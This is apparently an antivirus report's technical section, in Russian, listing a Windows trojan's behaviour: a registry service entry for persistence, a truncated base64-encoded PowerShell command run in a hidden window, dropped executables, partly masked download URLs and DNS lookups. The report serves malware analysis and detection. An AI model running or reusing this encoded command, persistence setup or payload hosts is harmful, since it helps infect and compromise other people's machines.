Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\wlancfg] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wlancfg] 'ImagePath' = '"%WINDIR%\SysWOW64\systemcpl\wlancfg.exe"'
- 'wlancfg' "%WINDIR%\SysWOW64\systemcpl\wlancfg.exe"
- 'wlancfg' %WINDIR%\SysWOW64\systemcpl\wlancfg.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAGoAbAA1AGwANQBnAD0AKAAoACcATAAxACcAKwAnADIAZgBlACcAKQArACcAMQAyACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABFAE0AcABcAHcAbwByAGQAXAAyADAAMQA5AFwAIAAtAG...
- %TEMP%\word\2019\e5kw8e58d.exe
- %WINDIR%\syswow64\systemcpl\wlancfg.exe
- %TEMP%\word\2019\e5kw8e58d.exe в %WINDIR%\syswow64\systemcpl\wlancfg.exe
- '17#.#1.218.65':80
- http://po###emo.com/wp-content/V/
- http://ud##77.com/wordpress/J6n/
- http://17#.#1.218.65/Fed0/VgxivzZB3qE1/033H/8HeTSJuKP7VBM/nXmA2elMRYq/
- DNS ASK po###emo.com
- DNS ASK ud##77.com
- '%TEMP%\word\2019\e5kw8e58d.exe'
- '%WINDIR%\syswow64\systemcpl\wlancfg.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAGoAbAA1AGwANQBnAD0AKAAoACcATAAxACcAKwAnADIAZgBlACcAKQArACcAMQAyACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABFAE0AcABcAHcAbwByAGQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)